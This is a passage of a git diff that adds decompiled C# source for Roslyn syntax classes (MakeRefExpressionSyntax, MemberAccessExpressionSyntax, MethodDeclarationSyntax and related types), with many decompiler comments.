missing references) + //IL_0124: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_01c4: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_01b8: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + //IL_01ac: Unknown result type (might be due to invalid IL or missing references) + //IL_01e7: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken result; + switch (statement.Kind()) + { + case SyntaxKind.Block: + return ((BlockSyntax)statement).OpenBraceToken; + case SyntaxKind.BreakStatement: + return ((BreakStatementSyntax)statement).BreakKeyword; + case SyntaxKind.CheckedStatement: + case SyntaxKind.UncheckedStatement: + return ((CheckedStatementSyntax)statement).Keyword; + case SyntaxKind.ContinueStatement: + return ((ContinueStatementSyntax)statement).ContinueKeyword; + case SyntaxKind.LocalDeclarationStatement: + case SyntaxKind.ExpressionStatement: + return statement.GetFirstToken(); + case SyntaxKind.DoStatement: + return ((DoStatementSyntax)statement).DoKeyword; + case SyntaxKind.EmptyStatement: + result = default(SyntaxToken); + return result; + case SyntaxKind.FixedStatement: + return ((FixedStatementSyntax)statement).FixedKeyword; + case SyntaxKind.ForEachStatement: + case SyntaxKind.ForEachVariableStatement: + result = ((CommonForEachStatementSyntax)statement).OpenParenToken; + return ((SyntaxToken)(ref result)).GetNextToken(false, false, false, false); + case SyntaxKind.ForStatement: + result = ((ForStatementSyntax)statement).OpenParenToken; + return ((SyntaxToken)(ref result)).GetNextToken(false, false, false, false); + case SyntaxKind.GotoStatement: + case SyntaxKind.GotoCaseStatement: + case SyntaxKind.GotoDefaultStatement: + return ((GotoStatementSyntax)statement).GotoKeyword; + case SyntaxKind.IfStatement: + return ((IfStatementSyntax)statement).IfKeyword; + case SyntaxKind.LabeledStatement: + return ((LabeledStatementSyntax)statement).Identifier; + case SyntaxKind.LockStatement: + return ((LockStatementSyntax)statement).LockKeyword; + case SyntaxKind.ReturnStatement: + return ((ReturnStatementSyntax)statement).ReturnKeyword; + case SyntaxKind.SwitchStatement: + return ((SwitchStatementSyntax)statement).Expression.GetFirstToken(); + case SyntaxKind.ThrowStatement: + return ((ThrowStatementSyntax)statement).ThrowKeyword; + case SyntaxKind.TryStatement: + return ((TryStatementSyntax)statement).TryKeyword; + case SyntaxKind.UnsafeStatement: + return ((UnsafeStatementSyntax)statement).UnsafeKeyword; + case SyntaxKind.UsingStatement: + return ((UsingStatementSyntax)statement).UsingKeyword; + case SyntaxKind.WhileStatement: + return ((WhileStatementSyntax)statement).WhileKeyword; + case SyntaxKind.YieldReturnStatement: + case SyntaxKind.YieldBreakStatement: + return ((YieldStatementSyntax)statement).YieldKeyword; + case SyntaxKind.LocalFunctionStatement: + return statement.GetFirstToken(); + default: + throw ExceptionUtilities.UnexpectedValue((object)statement.Kind()); + } + } + + internal static SyntaxToken GetFirstExcludedToken(StatementSyntax statement) + { + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0193: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_01b0: Unknown result type (might be due to invalid IL or missing references) + //IL_0252: Unknown result type (might be due to invalid IL or missing references) + //IL_01c8: Unknown result type (might be due to invalid IL or missing references) + //IL_0246: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_0151: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_0235: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_0224: Unknown result type (might be due to invalid IL or missing references) + //IL_01a4: Unknown result type (might be due to invalid IL or missing references) + //IL_01bc: Unknown result type (might be due to invalid IL or missing references) + //IL_01ec: Unknown result type (might be due to invalid IL or missing references) + //IL_01f1: Unknown result type (might be due to invalid IL or missing references) + //IL_01e5: Unknown result type (might be due to invalid IL or missing references) + //IL_0278: Unknown result type (might be due to invalid IL or missing references) + //IL_027f: Unknown result type (might be due to invalid IL or missing references) + //IL_0285: Unknown result type (might be due to invalid IL or missing references) + //IL_0270: Unknown result type (might be due to invalid IL or missing references) + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_0213: Unknown result type (might be due to invalid IL or missing references) + //IL_0207: Unknown result type (might be due to invalid IL or missing references) + //IL_02a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0290: Unknown result type (might be due to invalid IL or missing references) + switch (statement.Kind()) + { + case SyntaxKind.Block: + return ((BlockSyntax)statement).CloseBraceToken; + case SyntaxKind.BreakStatement: + return ((BreakStatementSyntax)statement).SemicolonToken; + case SyntaxKind.CheckedStatement: + case SyntaxKind.UncheckedStatement: + return ((CheckedStatementSyntax)statement).Block.CloseBraceToken; + case SyntaxKind.ContinueStatement: + return ((ContinueStatementSyntax)statement).SemicolonToken; + case SyntaxKind.LocalDeclarationStatement: + return ((LocalDeclarationStatementSyntax)statement).SemicolonToken; + case SyntaxKind.DoStatement: + return ((DoStatementSyntax)statement).SemicolonToken; + case SyntaxKind.EmptyStatement: + return ((EmptyStatementSyntax)statement).SemicolonToken; + case SyntaxKind.ExpressionStatement: + return ((ExpressionStatementSyntax)statement).SemicolonToken; + case SyntaxKind.FixedStatement: + return GetFirstExcludedToken(((FixedStatementSyntax)statement).Statement); + case SyntaxKind.ForEachStatement: + case SyntaxKind.ForEachVariableStatement: + return GetFirstExcludedToken(((CommonForEachStatementSyntax)statement).Statement); + case SyntaxKind.ForStatement: + return GetFirstExcludedToken(((ForStatementSyntax)statement).Statement); + case SyntaxKind.GotoStatement: + case SyntaxKind.GotoCaseStatement: + case SyntaxKind.GotoDefaultStatement: + return ((GotoStatementSyntax)statement).SemicolonToken; + case SyntaxKind.IfStatement: + { + IfStatementSyntax ifStatementSyntax = (IfStatementSyntax)statement; + ElseClauseSyntax elseClauseSyntax = ifStatementSyntax.Else; + return GetFirstExcludedToken((elseClauseSyntax == null) ? ifStatementSyntax.Statement : elseClauseSyntax.Statement); + } + case SyntaxKind.LabeledStatement: + return GetFirstExcludedToken(((LabeledStatementSyntax)statement).Statement); + case SyntaxKind.LockStatement: + return GetFirstExcludedToken(((LockStatementSyntax)statement).Statement); + case SyntaxKind.ReturnStatement: + return ((ReturnStatementSyntax)statement).SemicolonToken; + case SyntaxKind.SwitchStatement: + return ((SwitchStatementSyntax)statement).CloseBraceToken; + case SyntaxKind.ThrowStatement: + return ((ThrowStatementSyntax)statement).SemicolonToken; + case SyntaxKind.TryStatement: + { + TryStatementSyntax tryStatementSyntax = (TryStatementSyntax)statement; + return tryStatementSyntax.Finally?.Block.CloseBraceToken ?? tryStatementSyntax.Catches.LastOrDefault()?.Block.CloseBraceToken ?? tryStatementSyntax.Block.CloseBraceToken; + } + case SyntaxKind.UnsafeStatement: + return ((UnsafeStatementSyntax)statement).Block.CloseBraceToken; + case SyntaxKind.UsingStatement: + return GetFirstExcludedToken(((UsingStatementSyntax)statement).Statement); + case SyntaxKind.WhileStatement: + return GetFirstExcludedToken(((WhileStatementSyntax)statement).Statement); + case SyntaxKind.YieldReturnStatement: + case SyntaxKind.YieldBreakStatement: + return ((YieldStatementSyntax)statement).SemicolonToken; + case SyntaxKind.LocalFunctionStatement: + { + LocalFunctionStatementSyntax localFunctionStatementSyntax = (LocalFunctionStatementSyntax)statement; + if (localFunctionStatementSyntax.Body != null) + { + return GetFirstExcludedToken(localFunctionStatementSyntax.Body); + } + if (localFunctionStatementSyntax.SemicolonToken != default(SyntaxToken)) + { + return localFunctionStatementSyntax.SemicolonToken; + } + return localFunctionStatementSyntax.ParameterList.GetLastToken(); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)statement.Kind()); + } + } + + internal static bool IsInAnonymousFunctionOrQuery(int position, SyntaxNode lambdaExpressionOrQueryNode) + { + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode cSharpSyntaxNode; + SyntaxToken nextToken; + switch (lambdaExpressionOrQueryNode.Kind()) + { + case SyntaxKind.SimpleLambdaExpression: + { + SimpleLambdaExpressionSyntax obj2 = (SimpleLambdaExpressionSyntax)(object)lambdaExpressionOrQueryNode; + nextToken = obj2.ArrowToken; + cSharpSyntaxNode = obj2.Body; + break; + } + case SyntaxKind.ParenthesizedLambdaExpression: + { + ParenthesizedLambdaExpressionSyntax obj = (ParenthesizedLambdaExpressionSyntax)(object)lambdaExpressionOrQueryNode; + nextToken = obj.ArrowToken; + cSharpSyntaxNode = obj.Body; + break; + } + case SyntaxKind.AnonymousMethodExpression: + cSharpSyntaxNode = ((AnonymousMethodExpressionSyntax)(object)lambdaExpressionOrQueryNode).Block; + nextToken = cSharpSyntaxNode.GetFirstToken(includeZeroWidth: true); + break; + default: + { + SyntaxToken val = lambdaExpressionOrQueryNode.GetFirstToken(false, false, false, false); + nextToken = ((SyntaxToken)(ref val)).GetNextToken(false, false, false, false); + SyntaxToken firstIncluded = nextToken; + val = lambdaExpressionOrQueryNode.GetLastToken(false, false, false, false); + return IsBetweenTokens(position, firstIncluded, ((SyntaxToken)(ref val)).GetNextToken(false, false, false, false)); + } + } + SyntaxToken firstExcluded = ((cSharpSyntaxNode is StatementSyntax statement) ? GetFirstExcludedToken(statement) : SyntaxNavigator.Instance.GetNextToken((SyntaxNode)(object)cSharpSyntaxNode, (Func)null, (Func)null)); + return IsBetweenTokens(position, nextToken, firstExcluded); + } + + internal static bool IsInXmlAttributeValue(int position, XmlAttributeSyntax attribute) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return IsBetweenTokens(position, attribute.StartQuoteToken, attribute.EndQuoteToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MakeRefExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MakeRefExpressionSyntax.cs new file mode 100644 index 0000000..4174422 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MakeRefExpressionSyntax.cs @@ -0,0 +1,105 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class MakeRefExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MakeRefExpressionSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MakeRefExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 2); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MakeRefExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal MakeRefExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitMakeRefExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitMakeRefExpression(this); + } + + public MakeRefExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken) + { + MakeRefExpressionSyntax makeRefExpressionSyntax = SyntaxFactory.MakeRefExpression(keyword, openParenToken, expression, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return makeRefExpressionSyntax; + } + return makeRefExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public MakeRefExpressionSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, OpenParenToken, Expression, CloseParenToken); + } + + public MakeRefExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, openParenToken, Expression, CloseParenToken); + } + + public MakeRefExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, expression, CloseParenToken); + } + + public MakeRefExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, Expression, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberAccessExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberAccessExpressionSyntax.cs new file mode 100644 index 0000000..7a36001 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberAccessExpressionSyntax.cs @@ -0,0 +1,87 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class MemberAccessExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + private SimpleNameSyntax? name; + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MemberAccessExpressionSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SimpleNameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 2); + + internal MemberAccessExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref expression), + 2 => ((SyntaxNode)this).GetRed(ref name, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => expression, + 2 => name, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitMemberAccessExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitMemberAccessExpression(this); + } + + public MemberAccessExpressionSyntax Update(ExpressionSyntax expression, SyntaxToken operatorToken, SimpleNameSyntax name) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (expression != Expression || operatorToken != OperatorToken || name != Name) + { + MemberAccessExpressionSyntax memberAccessExpressionSyntax = SyntaxFactory.MemberAccessExpression(Kind(), expression, operatorToken, name); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return memberAccessExpressionSyntax; + } + return memberAccessExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public MemberAccessExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(expression, OperatorToken, Name); + } + + public MemberAccessExpressionSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, operatorToken, Name); + } + + public MemberAccessExpressionSyntax WithName(SimpleNameSyntax name) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, OperatorToken, name); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberBindingExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberBindingExpressionSyntax.cs new file mode 100644 index 0000000..8181cd8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberBindingExpressionSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class MemberBindingExpressionSyntax : ExpressionSyntax +{ + private SimpleNameSyntax? name; + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MemberBindingExpressionSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).Position, 0); + + public SimpleNameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 1); + + internal MemberBindingExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref name, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)name; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitMemberBindingExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitMemberBindingExpression(this); + } + + public MemberBindingExpressionSyntax Update(SyntaxToken operatorToken, SimpleNameSyntax name) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (operatorToken != OperatorToken || name != Name) + { + MemberBindingExpressionSyntax memberBindingExpressionSyntax = SyntaxFactory.MemberBindingExpression(operatorToken, name); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return memberBindingExpressionSyntax; + } + return memberBindingExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public MemberBindingExpressionSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(operatorToken, Name); + } + + public MemberBindingExpressionSyntax WithName(SimpleNameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(OperatorToken, name); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberCrefSyntax.cs new file mode 100644 index 0000000..72d7bcf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberCrefSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class MemberCrefSyntax : CrefSyntax +{ + internal MemberCrefSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberDeclarationSyntax.cs new file mode 100644 index 0000000..ddbacc9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MemberDeclarationSyntax.cs @@ -0,0 +1,45 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class MemberDeclarationSyntax : CSharpSyntaxNode +{ + public abstract SyntaxList AttributeLists { get; } + + public abstract SyntaxTokenList Modifiers { get; } + + internal MemberDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public MemberDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeListsCore(attributeLists); + } + + internal abstract MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists); + + public MemberDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return AddAttributeListsCore(items); + } + + internal abstract MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items); + + public MemberDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiersCore(modifiers); + } + + internal abstract MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers); + + public MemberDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + return AddModifiersCore(items); + } + + internal abstract MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MethodDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MethodDeclarationSyntax.cs new file mode 100644 index 0000000..eb29797 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/MethodDeclarationSyntax.cs @@ -0,0 +1,398 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class MethodDeclarationSyntax : BaseMethodDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? returnType; + + private ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + private TypeParameterListSyntax? typeParameterList; + + private ParameterListSyntax? parameterList; + + private SyntaxNode? constraintClauses; + + private BlockSyntax? body; + + private ArrowExpressionClauseSyntax? expressionBody; + + public int Arity + { + get + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (TypeParameterList != null) + { + return TypeParameterList.Parameters.Count; + } + return 0; + } + } + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public TypeSyntax ReturnType => ((SyntaxNode)this).GetRed(ref returnType, 2); + + public ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MethodDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public TypeParameterListSyntax? TypeParameterList => ((SyntaxNode)this).GetRed(ref typeParameterList, 5); + + public override ParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 6); + + public SyntaxList ConstraintClauses => new SyntaxList(((SyntaxNode)this).GetRed(ref constraintClauses, 7)); + + public override BlockSyntax? Body => ((SyntaxNode)this).GetRed(ref body, 8); + + public override ArrowExpressionClauseSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 9); + + public override SyntaxToken SemicolonToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MethodDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(10), ((SyntaxNode)this).GetChildIndex(10)); + } + } + + internal MethodDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref returnType, 2), + 3 => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3), + 5 => ((SyntaxNode)this).GetRed(ref typeParameterList, 5), + 6 => ((SyntaxNode)this).GetRed(ref parameterList, 6), + 7 => ((SyntaxNode)this).GetRed(ref constraintClauses, 7), + 8 => ((SyntaxNode)this).GetRed(ref body, 8), + 9 => ((SyntaxNode)this).GetRed(ref expressionBody, 9), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => returnType, + 3 => explicitInterfaceSpecifier, + 5 => typeParameterList, + 6 => parameterList, + 7 => constraintClauses, + 8 => body, + 9 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitMethodDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitMethodDeclaration(this); + } + + public 